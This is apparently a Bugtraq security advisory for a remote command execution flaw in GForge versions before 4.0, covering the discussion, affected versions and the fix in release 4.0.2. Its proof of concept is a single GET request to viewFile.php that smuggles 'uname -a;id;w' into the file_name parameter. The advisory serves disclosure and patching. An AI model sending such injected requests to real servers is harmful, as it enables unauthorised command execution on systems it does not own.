GForge Remote Arbitrary Command Execution Vulnerability
BID:13716
Info
GForge Remote Arbitrary Command Execution Vulnerability
| Bugtraq ID: | 13716 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 24 2005 12:00AM |
| Updated: | May 24 2005 12:00AM |
| Credit: | Discovery is credited to Filippo Spike Morelli <[email protected]>. |
| Vulnerable: |
GForge GForge 3.21 GForge GForge 3.3 GForge GForge 3.2 GForge GForge 3.1 |
| Not Vulnerable: |
GForge GForge 4.0.2 GForge GForge 4.0.1 GForge GForge 4.0 |
Discussion
GForge Remote Arbitrary Command Execution Vulnerability
GForge is affected by a remote command execution vulnerability.
This issue arises because the application fails to sanitize user-supplied data passed through URI parameters.
An attacker can supply arbitrary shell commands through the affected parameter to be executed in the context of the affected server.
GForge versions prior to 4.0 are vulnerable to this issue.
GForge is affected by a remote command execution vulnerability.
This issue arises because the application fails to sanitize user-supplied data passed through URI parameters.
An attacker can supply arbitrary shell commands through the affected parameter to be executed in the context of the affected server.
GForge versions prior to 4.0 are vulnerable to this issue.
Exploit / POC
GForge Remote Arbitrary Command Execution Vulnerability
An exploit is not required.
The following proof of concept is available:
GET /scm/viewFile.php?group_id=11&file_name=%0Auname%20-a;id;w%0a
An exploit is not required.
The following proof of concept is available:
GET /scm/viewFile.php?group_id=11&file_name=%0Auname%20-a;id;w%0a
Solution / Fix
GForge Remote Arbitrary Command Execution Vulnerability
Solution:
It was reported that the vendor has addressed this issue in GForge 4.0 and subsequent versions.
GForge GForge 3.1
GForge GForge 3.2
GForge GForge 3.21
GForge GForge 3.3
Solution:
It was reported that the vendor has addressed this issue in GForge 4.0 and subsequent versions.
GForge GForge 3.1
-
GForge gforge-4.0.2.tar.bz2
http://gforge.org/frs/download.php/88/gforge-4.0.2.tar.bz2
GForge GForge 3.2
-
GForge gforge-4.0.2.tar.bz2
http://gforge.org/frs/download.php/88/gforge-4.0.2.tar.bz2
GForge GForge 3.21
-
GForge gforge-4.0.2.tar.bz2
http://gforge.org/frs/download.php/88/gforge-4.0.2.tar.bz2
GForge GForge 3.3
-
GForge gforge-4.0.2.tar.bz2
http://gforge.org/frs/download.php/88/gforge-4.0.2.tar.bz2
References
GForge Remote Arbitrary Command Execution Vulnerability
References:
References:
- GForge Homepage (GForge)
- Gforge - viewFile.php security flaw (Filippo Spike Morelli